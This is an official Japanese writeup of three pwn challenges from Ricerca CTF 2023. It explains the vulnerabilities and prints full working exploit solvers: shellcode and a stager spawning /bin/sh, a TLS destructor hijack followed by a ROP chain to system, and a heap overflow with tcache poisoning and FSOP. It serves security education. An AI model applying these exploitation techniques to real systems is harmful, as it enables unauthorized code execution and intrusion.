この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はPwnカテゴリの問題のうち、warmupを除く問題の解法を紹介します。
配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。
https://github.com/RICSecLab/ricerca-ctf-2023-public
また、他のジャンルのWriteupは以下の投稿から読むことができます。
NEMU
Writeup著者:keymoon
問題概要
独自アーキテクチャの VM が実装されたファイルが渡されます。命令は以下の 6 つしか存在していません。
Welcome to NEMU!
We now only have following 6 instructions:
1) LOAD [imm]: Load value [imm] into ACC register
2) MOV [reg]: Copy data stored in AC register into [reg] register
3) INC [reg]: Increment the value stored in [reg] register
4) DBL [reg]: Double the value stored in [reg] register
5) ADDI [imm]: Add value [imm] to the value of ACC register
6) ADD [reg]: Add value stored in [reg] register to the value of ACC register
また、レジスタはアキュムレータと汎用レジスタ 3 つのみが 32 bit レジスタとして存在しています。
特筆すべきこととして、多態性を表現するために nested function と呼ばれる GCC 拡張の文法を用いてる点が挙げられます。
switch (readint()) {
case 1: {
void load(uint64_t imm) { a = imm; }
op_fp = load;
read_fp = readimm;
break;
}
...
case 6: {
void add(uint64_t* reg) { a += *reg; }
op_fp = add;
read_fp = readreg;
break;
}
default:
exit(1);
}
printf("operand: ");
((void (*)(uint64_t))op_fp)(((uint64_t(*)())read_fp)());
解法
問題の観察
まず、配布された chall ファイルのセキュリティ機構を確認してみましょう。checksec コマンドを用いて確認すると、以下のとおりであると確認できます。
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
PIE や RELRO といった CTF でよく無効化されるセキュリティ機構は有効化されているようですが、一つ特筆すべきことがあります。それは、このバイナリには RWX セグメントが存在しているということです。
RWX セグメントとは、書き込み可能でかつ実行も可能なセグメント(メモリ領域)のことを指します。これは、現在の x86-64 バイナリでは特別な理由なく用いられることはありません。
このようになっている理由の一つとして、不用意に RWX セグメントを用いることはセキュリティ的に脆弱であることが挙げられます。もしもプログラムに脆弱性があり、意図された範囲外のデータを書き換えられたとしましょう。これを用いて RWX セグメント内の機械語を書き換えると、その機械語が呼ばれるタイミングでプログラムの挙動を攻撃者に乗っ取られてしまうことになります。他にも、Shellcode を用いた攻撃の起点となるなどの問題も挙げられます。
nested function と RWX セグメント
では、どうしてこのプログラムには RWX セグメントが存在しているのでしょうか。それは、この問題で用いられている機能である nested function を実現する際の都合によるものです。
例えば、以下のようなプログラムを考えてみましょう。このプログラムでは、入力したメッセージをそのまま出力することが期待されます。
#include <stdio.h>
void f(void (*fun)(void)) {
fun();
}
int main() {
char msg[10];
scanf("%9s", msg);
void printmsg() {
puts(msg);
}
f(printmsg);
}
しかし、関数f
に直接printmsg
関数のポインタを渡した場合、msg
という変数をどこから取得すればよいかが分からなくなってしまいます。
そこで、printmsg
関数が宣言された箇所のスタックポインタの値をr10
レジスタに格納し、その後にprintmsg
関数を呼び出すトランポリン関数を関数f
に渡す関数として内部的に生成しています。
この関数がstack上に生成されることが、stack が実行可能であった理由です。
脆弱性
この問題の脆弱性は、mov や inc といった操作でレジスタ変数が 64 bit として扱われていることにあります。この脆弱性がある関数は、以下の 4 関数です。
void mov(uint64_t* reg) { *reg = a; }
void inc(uint64_t* reg) { *reg += 1; }
void dbl(uint64_t* reg) { *reg *= 2; }
void add(uint64_t* reg) { a += *reg; }
これらの関数を用いて reg ポインタの先の値を任意の 64 bit の値に設定することができれば、レジスタ変数の後ろ 32 bit を任意の値に書き換えることができることになります。これは、dbl
関数を用いることで実現することができます。
では、書き換えられる値は何の値なのでしょうか?結論から言ってしまうと、この値は add
関数のトランポリン関数の先頭の機械語です。よって、これを書き換えてからadd
関数を呼ぶことで任意の 32 bit = 4 byte を Shellcode として実行させることができることが分かります。
Exploit
上で発見した脆弱性を用いて、shellcode を実行してみましょう。まず、4 byte ではあまりにも短すぎるので、まず stack 上で書き込むことができる他の領域にジャンプする命令を書きます。ジャンプ範囲が符号付き byte に収まるショートジャンプであれば eb xx
の 2 byte で表すことができるので、これが実現できそうです。
ジャンプ先としては、レジスタ変数が密集している箇所が理想的でしょう。ここであれば、4 byte * 4=16 byte の値を自由にコントロールすることができます。
次に、この 16 byte を用いて shellcode を書きます。execve(”/bin/sh”)
を行うshellcode は以下のような処理を行えば良いです。
mov rax, 59; syscall 番号 (sys_execve)
mov rdi, (/bin/sh のアドレス); 第1引数(filename)
mov rsi, 0; 第2引数(argv)
mov rdx, 0; 第3引数(envp)
syscall;
これを実現する方法はいくつかありますが、ここでは 2 種類の方針を紹介します。
方針1: 短い shellcode を書く
シンプルな分かりやすい方針ですが、16 byte という制限があるために見た目よりも難しい方針です。まず、add
関数が呼ばれた際のレジスタの値を確認してみましょう。add(a)
という命令を実行した際の値を確認すると、以下のようになっています。
rax 0x7ffd372ac670
rdi 0x7ffd372ac670
rsi 0x0
rdx 0x0
これを見ると分かるように、rsi
とrdx
は既に 0 になっているために調整する必要がありません。また、rdi
はa
レジスタの変数を指しています。これは、add
関数への第一引数としてa
レジスタの変数へのポインタを渡しているためです。
よって、rdi
は/bin/sh\x00
と解釈できる値をレジスタに格納した後、そのレジスタをadd
の引数として渡すことで調整することができます。なお、ここでレジスタを 8 byte 消費してしまったため、使用できる byte 数は 16 byte-8 byte=8 byte となります。
これで、rax
のポインタのみを調整すればよいことになりました。素直にmov rax, 59;
と書くと 7 byte も使用してしまうので、ここでは push 59; pop rax
のようにして 3 byte で処理を実現します。これとsyscall
の 2 byte を合わせて、以下のような 5 byte で Shellcode を実現することができます。
6a 3b push 0x3b
58 pop eax
0f 05 syscall
方針2: stager を書く
stager とは、より長いペイロードを読み込むための短いコードのことです。今回は、以下のようなstagerを書くことを目標とします。
mov rax, 0; syscall 番号 (sys_read)
mov rdi, 0; 第1引数(fd)
mov rsi, (ペイロードを読み込むアドレス); 第2引数(buf)
mov rdx, (大きな値); 第3引数(count)
syscall;
これも素直に書くと 16 byte を優に超えてしまうので、短くするための工夫をします。
先程見たとおり、add
が呼ばれる際にはrdi
がレジスタのポインタを指しています。よって、rsi
はrdi
からmov
することで調整することにします。rdx
レジスタには、dhレジスタに値 0xff を読み込むことで0xff00
という値とします。
次に、rdi
やrax
を0にしなければいけません。レジスタを0にセットするという処理は、xor
命令を用いて自身とxorさせることで実現されることが多いです。今回もこの手法を用いることとします。
これにより、以下のような 11 byte で stager を実現することができます。
48 89 fa mov rdx,rdi
48 89 fe mov rsi,rdi
31 c0 xor eax,eax
31 ff xor edi,edi
0f 05 syscall
これで、長さの制約なく shellcode を読み込むことができるようになりました。後は、単純な shellcode を読み込めばよいだけです。
ソルバ
以下は方針1, 2の両方を実装したソルバになります。コード中のDO_STAGER
フラグを変更することで、2つの方針が切り替えられます。なお、このソルバ ではptrlibを利用しています。
import os
from ptrlib import *
BIN_NAME = "../distfiles/chall"
chall = ELF(BIN_NAME)
HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 9002))
stream = remote(HOST, PORT)
LOAD, MOV, INC, DBL, ADDI, ADD = 1, 2, 3, 4, 5, 6
AC, R1, R2, R3 = 'r0', 'r1', 'r2', 'r3'
def imm(val):
return f'#{val}'
def op(opcode, operand):
stream.sendlineafter(b'opcode: ', opcode)
stream.sendlineafter(b'operand: ', operand)
def load_to_upper(reg, val):
op(LOAD, imm(val))
op(MOV, reg)
for _ in range(32): op(DBL, reg)
"""
memory layout:
| AC | R3 | R2 | R1 | trampoline
"""
DO_STAGER = False
if not DO_STAGER:
payload = assemble(
"""
push 59;
pop rax;
syscall;
""",
bits=64
).ljust(8, b'\x00') + \
b'/bin/sh\x00' + \
b"\xeb\xee"
else:
payload = assemble(
"""
mov dh, 0xff
mov rsi,rdi
xor eax,eax
xor edi,edi
syscall
""",
bits=64
).ljust(16, b'\x90') + \
b"\xeb\xee"
load_to_upper(R1, u32(payload[16:]))
load_to_upper(R2, u32(payload[12:16]))
load_to_upper(R3, u32(payload[8:12]))
load_to_upper(AC, u32(payload[4:8]))
op(LOAD, imm(u32(payload[0:4])))
if not DO_STAGER:
op(ADD, R2)
else:
op(ADD, AC)
stream.sendline(
b"\x90" * 16 + nasm(
"""
mov rax, 59
lea rdi, [rel s_binsh]
xor rsi, rsi
xor rdx, rdx
syscall
s_binsh: db "/bin/sh", 0
""",
bits=64
)
)
stream.sendline("cat /flag-*")
print(stream.recvuntil("}").decode())
safe thread
問題・Writeup著者:ptr-yudai
問題概要
この問題の本質部分は以下のコードだけです。
void *thread(void *_arg) {
ssize_t len;
char buf[0x10] = {};
write(STDOUT_FILENO, "size: ", 6);
read_n(buf, 0x10);
len = atol(buf);
write(STDOUT_FILENO, "data: ", 6);
read_n(buf, len);
exit(0);
}
int main() {
alarm(180);
pthread_create(&th, NULL, thread, NULL);
pthread_join(th, NULL);
return 0;
}
pthreadで動作するスレッド上で自明なスタックバッファオーバーフローがありますが、exit
しているためリターンアドレスを書き換えても意味がありません。
解法
この問題でのスタックバッファオーバーフローを利用するには、スレッド特有の知識が必要になります。
TLSとスタック
pthreadで作成されるスレッドはcloneシステムコールにより作成され、メモリ空間を共有します。スタックやヒープは通常スレッドごとに機能的に独立しており、一方でグローバル変数はすべてのスレッドで共有されます。 また、Linux(やWindows)では TLS (Thread Local Storage) というスレッド固有の領域もあります。Linuxにおいて、TLSはfsレジスタを使って参照できます。例えば、次のコードはTLSの0x18バイト目から8バイトをraxレジスタに代入します。
mov rax, qword ptr [fs:0x18]
このコードは、異なるスレッドで動かすとそれぞれのスレッドのTLSを参照します。
では、gdbでTLSを見てみましょう。現在のコンテキストでのfsレジスタの値は$fs_base
に入っています。
pwndbg> p/x $fs_base
$2 = 0x7ffff7bff640
pwndbg> x/16xg 0x7ffff7bff640
0x7ffff7bff640: 0x00007ffff7bff640 0x00000000004052b0
0x7ffff7bff650: 0x00007ffff7bff640 0x0000000000000001
0x7ffff7bff660: 0x0000000000000000 0xeb983df70c185e00
0x7ffff7bff670: 0x7f6d85e655c2ed39 0x0000000000000000
0x7ffff7bff680: 0x0000000000000000 0x0000000000000000
0x7ffff7bff690: 0x0000000000000000 0x0000000000000000
0x7ffff7bff6a0: 0x0000000000000000 0x0000000000000000
0x7ffff7bff6b0: 0x0000000000000000 0x0000000000000000
例えばfs:0x28
にはstack canaryの比較元(master canary)が入っています。
また、このスレッドのスタックポインタも確認してみましょう。
pwndbg> p/x $fs_base
$5 = 0x7ffff7bff640
pwndbg> p/x $rsp
$4 = 0x7ffff7bfee10
pwndbg> vmmap 0x7ffff7bfee10
Start End Perm Size Offset File
0x7ffff7400000 0x7ffff7c00000 rw-p 800000 0 [anon_7ffff7400] +0x7fee10
TLSもスタックも、連続した領域に確保されていることが分かります。また、TLSの方がスタックよりも高いアドレスにマップされています。 これは、TLS領域とpthreadが確保するスタックが連続してmmapされるためです。したがって、このスレッド中でスタックバッファオーバーフローが発生すると、TLS領域を破壊してしまう可能性があります。 このようにスレッドで発生したスタックバッファオーバーフローが別のメモリ領域を破壊するのを防ぐため、通常スレッドごとにガードページと呼ばれる書き込み不可のページが確保されますが、LinuxではTLSとスタックの間には確保されません。
__run_exit_handlersとPTR_MANGLE
スレッド上のスタックバッファオーバーフローにより、TLSを書き換えられることが分かりました。今回のコードではexit関数が呼ばれているので、TLSとexit関数の関わりについて見ていきましょう。
exit関数はプログラムを終了する関数ですが、単にexitシステムコールを呼び出しているわけではありません。exit関数は、まず__run_exit_handlers
という関数を呼び出し、atexitで登録された終了ハンドラや、デストラクタなどを呼び出します。
例えば、以下のルーチンで_dl_fini
の関数ポインタが呼ばれます。
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
ここで注目すべき点が、PTR_DEMANGLE
の利用です。exit関数から呼ばれるデストラクタはPTR_MANGLE
というマクロにより暗号化されています。
# define PTR_MANGLE(reg) xor %fs:POINTER_GUARD, reg; \\
rol $2*LP_SIZE+1, reg
# define PTR_DEMANGLE(reg) ror $2*LP_SIZE+1, reg; \\
xor %fs:POINTER_GUARD, reg
PTR_MANGLE
では、TLSに入った暗号鍵とポインタをxorし、0x11バイト左ローテートしています。今、TLSの内容は自由に書き換えられるので、暗号鍵も自由に設定できます。
しかし、この例では暗号化されたポインタは__exit_funcs
というlibc内部の変数から取られており、ここは書き換えられず、かつlibcのアドレスはわからないため暗号鍵を操作できたところでクラッシュが起きるだけです。
少し前に呼び出される__call_tls_dtors
関数を見てみましょう。この関数は名前の通り、TLS領域が破棄される際に呼び出されるべきデストラクタを呼ぶ関数です。通常は何も呼ばれません。
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
libc_hidden_def (__call_tls_dtors)
ここでも関数ポインタがPTR_MANGLE
により暗号化されていることが分かります。また、TLSのデストラクタなので当然ですが、tls_dtor_list
は次のようにTLS内に定義されています。
static __thread struct dtor_list *tls_dtor_list;
したがって、スタックオーバーフローでtls_dtor_list
と暗号鍵を適切に設定すれば、任意のアドレスを呼び出すことができます。
tls_dtor_list
は適切なポインタである必要があります。dtor_list
構造体は以下のようになっています。
typedef void (*dtor_func) (void *);
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
例えばtls_dtor_list
を.bss周辺の内容が固定の領域に向けるとtls_dtor_list->func
も定数値になるため、暗号鍵を調整するだけで任意アドレスが呼び出せます。なお、今回のlibcではtls_dtor_list
のアドレスがrbpに入ることにも注意しましょう。
アドレスリーク
任意アドレスの呼び出しはできましたが、libcのアドレスを持っていません。まずはプログラム本体のどこかにジャンプして、アドレスをリークする必要があります。
理想的にはwrite(1, &libcの何かのアドレス, 適当なバイト数)
が呼び出したいので、write
関数を使用している箇所の直前にジャンプしたいです。そのためには、RDI, RSI, RDXが適当な値にセットされている必要があります。
__call_tls_dtors
の関数呼び出しは次のようになっています。
rbp
はtls_dtor_list
なので、TLSを破壊する際に自由に操作できます。
rdi
はrbp+8
, rdx
はrbp+0x18
から取られており、rsi
は常に__exit_funcs
を指しています。
したがって、rdi
を0,1,2のいずれかに、rdx
をサイズとして適当な値に設定できればアドレスリークができます。
.bssセクションを見てみましょう。
pwndbg> x/8xg 0x404008
0x404008: 0x0000000000000000 0x0000000000000000
0x404018 <th>: 0x00007ffff7bff640 0x0000000000000000
0x404028: 0x0000000000000000 0x0000000000000000
0x404038: 0x0000000000000000 0x0000000000000000
グローバル変数thのアドレスがあります。これをサイズとして利用するため、アドレスをずらして見てみます。
pwndbg> x/8xg 0x404008 - 3
0x404005: 0x0000000000000000 0x0000000000000000
0x404015: 0xfff7bff640000000 0x000000000000007f
0x404025: 0x0000000000000000 0x0000000000000000
0x404035: 0x0000000000000000 0x0000000000000000
したがって、tls_dtor_list
を0x404005にセットすれば、
write(0, __exit_funcs, 0x7f);
が実行できます。
ROP
スレッド関数中のwrite
でアドレスリークをしたら、そのままread
で再度BOFできます。したがって、またTLSを上書きして任意アドレスにジャンプできます。今回のバイナリではone gadgetが動かず、かつ引数が操作できないのでsystem
関数も呼び出せません。
そこで、ROPをします。libcのアドレスがわかっているので、libc中の豊富なROP gadgetが使えます。add rsp, XX
gadgetを使ってstack pivotすると、ROPできます。
ソルバ
from ptrlib import *
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
sock = Process("../distfiles/chall")
payload = b'A'*0x7d8
payload += p64(0x404005) # tls_dtor_list = rbp
payload += b'A'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(0x4012c3) # xor key
payload += b'A'*0x100
sock.sendlineafter("size: ", str(len(payload)))
sock.sendlineafter("data: ", payload)
libc.base = u64(sock.recvonce(8)) - 0x21af00
payload = p64(next(libc.gadget("ret"))) * 0x41
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.find("/bin/sh")))
payload += p64(libc.symbol("system"))
payload += b'B'*(0x870 - len(payload))
payload += p64(0x404800) # tls_dtor_list = rbp
payload += b'C'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(next(libc.gadget("add rsp, 0xa8; ret;"))) # xor key
sock.sendline(payload)
sock.sh()
Oath to Order
問題著者:keymoon, ptr-yudai / Writeup著者:ptr-yudai
問題概要
Ubuntu 22.04で動作する64-bitのプログラムが攻撃対象です。
$ checksec chall
[*] '/home/ptr/ricsec/2023/ricerca-ctf-2023-public/pwn/oath_to_order/distfiles/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
この問題はいわゆるnote系の問題で、ヒープに関する知識が問われます。プログラムを起動してみると、次のようにデータを確保、出力できる機能があります。
$ ./chall
1. Create
2. Show
> 1
index: 0
size: 123
alignment: 128
note: Hello
1. Create
2. Show
> 2
index: 0
Hello
一般的なnote系の問題と比べると、以下の特徴があります。
- freeに該当する機能が提供されていない。
- データ確保時に、サイズの他にalignmentという項目を入力する。
解法
aligned_alloc
この問題の一番の特徴は、alignmentにあります。配布されたソースコードを読むと、noteは次のように確保されています。
void create(void) {
unsigned idx, size, alignment;
print("index: ");
if ((idx = getint()) >= NOTE_LEN) {
print("invalid index\n");
return;
}
print("size: ");
if ((size = getint()) >= MAX_SIZE) {
print("invalid size\n");
return;
}
print("alignment: ");
if ((alignment = getint()) >= MAX_SIZE) {
print("invalid alignment\n");
return;
}
notes[idx] = aligned_alloc(alignment, size);
print("note: ");
getstr(notes[idx], size);
}
見慣れない aligned_alloc
という関数が登場しています。この関数は malloc
と同様に、指定サイズのデータ領域をヒープ上に確保します。第一引数に与える alignment
は、この関数が返却するアドレスが、その値でアラインされている(倍数になっている)ことを保証します。ただし、 64-bitの場合 alignment
は0x10 * 2^nの形である必要があります。
ソースコードを読んでみましょう。
static void *
_mid_memalign (size_t alignment, size_t bytes, void *address)
{
mstate ar_ptr;
void *p;
/* If we need less alignment than we give anyway, just relay to malloc. */
if (alignment <= MALLOC_ALIGNMENT)
return __libc_malloc (bytes);
/* Otherwise, ensure that it is at least a minimum chunk size */
if (alignment < MINSIZE)
alignment = MINSIZE;
/* If the alignment is greater than SIZE_MAX / 2 + 1 it cannot be a
power of 2 and will cause overflow in the check below. */
if (alignment > SIZE_MAX / 2 + 1)
{
__set_errno (EINVAL);
return 0;
}
/* Make sure alignment is power of 2. */
if (!powerof2 (alignment))
{
size_t a = MALLOC_ALIGNMENT * 2;
while (a < alignment)
a <<= 1;
alignment = a;
}
if (SINGLE_THREAD_P)
{
p = _int_memalign (&main_arena, alignment, bytes);
assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
&main_arena == arena_for_chunk (mem2chunk (p)));
return tag_new_usable (p);
}
arena_get (ar_ptr, bytes + alignment + MINSIZE);
p = _int_memalign (ar_ptr, alignment, bytes);
if (!p && ar_ptr != NULL)
{
LIBC_PROBE (memory_memalign_retry, 2, bytes, alignment);
ar_ptr = arena_get_retry (ar_ptr, bytes);
p = _int_memalign (ar_ptr, alignment, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
ar_ptr == arena_for_chunk (mem2chunk (p)));
return tag_new_usable (p);
}
まず注目すべき点として、 alignment
が MALLOC_ALIGNMENT
以下である場合、つまり0x10バイトでアラインする場合は通常の malloc
と変わらないため、 __libc_malloc
が呼ばれます。それ以外の場合、どのパスを通っても _int_memalign
でチャンクが確保されます。この関数は _int
から始まる内部関数ですので、こちらが呼ばれた場合は _int_malloc
側の処理が走ることになります。つまり、 alignment
の値によってtcacheが使われるかが変わります。
次に、 _int_memalign
のコードを少し読んでみましょう。
/* Otherwise, give back leader, use the rest */
set_head (newp, newsize | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
set_head_size (p, leadsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
_int_free (av, p, 1);
p = newp;
...
/* Also give back spare room at the end */
if (!chunk_is_mmapped (p))
{
size = chunksize (p);
if ((unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
set_head (remainder, remainder_size | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head_size (p, nb);
_int_free (av, remainder, 1);
}
}
_int_free
がところどころに現れています。メモリをアラインして確保する場合、チャンクの前後に使われない領域が発生する可能性があります。 _int_memalign
ではこの領域を解放することで、他の malloc
で使えるように切り出しています。
したがって、今回の問題にfree機能はありませんでしたが、 aligned_alloc
の内部で実質的にfreeが発生することになります。ただし、 _int_free
なのでtcacheが使われないという点には注意しましょう。
脆弱性
脆弱性は非常に単純で、入力を受け取る getstr
関数にあります。
void getstr(char *buf, unsigned size) {
while (--size) {
if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
exit(1);
else if (*buf == '\n')
break;
buf++;
}
*buf = '\0';
}
size
が0のとき、改行コードを送るまでデータを送り続けられることがわかります。したがって、Heap Buffer Overflowの脆弱性があります。
方針
Heap Buffer Overflowを今回の制約で任意アドレス書き込みにつなげるためには、少し見通しをよくしてからexploitを書く必要があります。具体的には、以下の2つのパートについて方針を立てましょう。
- libcのアドレスリーク
- tcache poisoning
ゴールから逆算するために、まず2について考えます。任意アドレス書き込みを実現するためにはtcache poisoningをするのが実用的です。前述したように aligned_alloc
ではtcacheを使うパスもあり、都合が良さそうです。しかし、freeはすべて _int_free
で発生するため、tcacheにチャンクをリンクさせるのは困難です(注釈: __libc_malloc
の中にfreeを呼び出すパスはあるので、可能ではありますが煩雑になります。)。
ここで、 aligned_alloc
が通常 _int_memalign
を呼ぶ、すなわちtcacheを使わないことに着目します。tcacheの管理領域は初めてtcacheが使われたとき(初めて __libc_malloc
が呼ばれたとき)に作成されます。したがって、今回の問題ではtcacheの管理領域よりも低いアドレスに _int_malloc
で作成されたチャンクを差し込むことが可能です。Heap Buffer Overflowと組み合わせるとtcacheの管理領域を自由に書き換えられるため、任意アドレス書き込みが実現できそうです。
次に1について考えます。libc-2.35ではSafe Linkingが有効ですが、tcacheの管理領域にあるポインタは暗号化されないので、ヒープのアドレスを知る必要はありません。最低限libcのアドレスが得られれば十分です。tcacheは2で初めて使うので、libcのアドレスリークはfastbin, unsortedbin, smallbin, largebinを使って実現する必要があります。
今回は、unsortedbinサイズの巨大なチャンクをfreeする際、そのサイズ情報を事前にHeap Buffer Overflowで書き換えておくことで、本来より大きなサイズのチャンクがfreeされたと判断させます。これにより、別のチャンクを含む領域がfreeされます。図で表すと次の赤枠の領域がfreeされたと判断されます。
unsortedbinにリンクされたチャンクは、fdとbkの2つのポインタを持ちます。リストの最後尾にあるチャンクはtop、すなわち main_arena
の内部へのポインタを持っています。このアドレスと、「生きている」チャンク(図のchunk 3)が重なれば、show機能によってlibcのアドレスをリークできます。
実際にはメモリアロケータのチェックをくぐり抜けて偽サイズのチャンクをfreeさせるために、ヒープレイアウトを工夫して用意しなくてはなりません。gdbでメモリの様子を確認しながら、慎重にexploitを書きましょう。
ソルバ
以下は上記方針を実装したソルバです。libc-2.35では __free_hook
のような便利な関数ポインタがないので、 stdout
のFILE構造体を破壊してFSOP(File Structure Oriented Programming)で /bin/sh
を呼び出しています。なお、このソルバ ではptrlibを利用しています。
from ptrlib import *
import os
HOST = os.getenv('HOST', 'localhost')
PORT = int(os.getenv('PORT', 9003))
def create(ind, size, alignment, content, newline=True):
sock.sendlineafter('> ', '1')
sock.sendlineafter(': ', ind)
sock.sendlineafter(': ', size)
sock.sendlineafter(': ', alignment)
if newline:
sock.sendlineafter(': ', content)
else:
sock.sendafter(': ', content)
def show(ind):
sock.sendlineafter('> ', '2')
sock.sendlineafter(': ', ind)
return sock.recvuntil(b'\n1.', drop=True)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#sock = Process("./chall")
sock = Socket(HOST, PORT)
create(0, 0x18, 0x80, b"A"*0x10)
create(0, 0x18, 0x100, b"B"*0x10)
create(0, 0x18, 0x100, b"C"*0x10)
create(0, 0x18, 0x100, b"D"*0x10)
create(0, 0x18, 0x100, b"E"*0x10)
create(0, 0x128, 0x120, b"F"*0x100 + p64(0x4f0) + p64(0x51))
create(0, 0x128, 0x120, b"F"*0x120)
create(0, 0xb8-0x20-0x20, 0x20, p64(0) + p64(0xdeadbeef) + p64(0)*2)
payload = b"0"*0x18
payload += p64(0x61)
payload += b"1"*0x58
payload += p64(0x21)
payload += b"C"*0x18
payload += p64(0x4f1)
create(0, 0, 0x80, payload)
create(0, 0xc8-0x20-0x20, 0x20, b"X"*0x10)
create(1, 0x48, 0x20, b"a"*0x40)
create(2, 0x48, 0x20, b"a"*0x40)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
libc.base = u64(show(1)) - libc.main_arena() - 0x60
create(0, 0x18, 299, b"A"*0x10)
heap_base = u64(show(2)) - 0x310
logger.info("heap = " + hex(heap_base))
create(0, 0x18, 0, "neko")
payload = b"2" * 0x100
payload += p16(0x0101) * 0x40
payload += p64(libc.symbol('_IO_2_1_stdout_')) * 0x40
create(0, 0, 0x20, payload)
addr_IO_wfile_jumps = libc.base + 0x2160c0
fake_file = flat([
0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
0, 0, # rend / rbase
0, 1, # wbase / wptr
0, 0, # wend / bbase
0, 0, # bend / savebase
0, 0, # backupbase / saveend
0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(libc.base + 0x21ba70) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(libc.symbol("_IO_2_1_stdout_")) # wide_data
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0) # vtable (_IO_wfile_jumps)
fake_file += p64(libc.symbol("_IO_2_1_stdout_") + 8) # _wide_data->_wide_vtable
assert len(fake_file) < 0x100
create(0, 0x100, 0, fake_file)
sock.sendline("\ncat /flag-*")
print(sock.recvuntil(b"}"))
No comments:
Post a Comment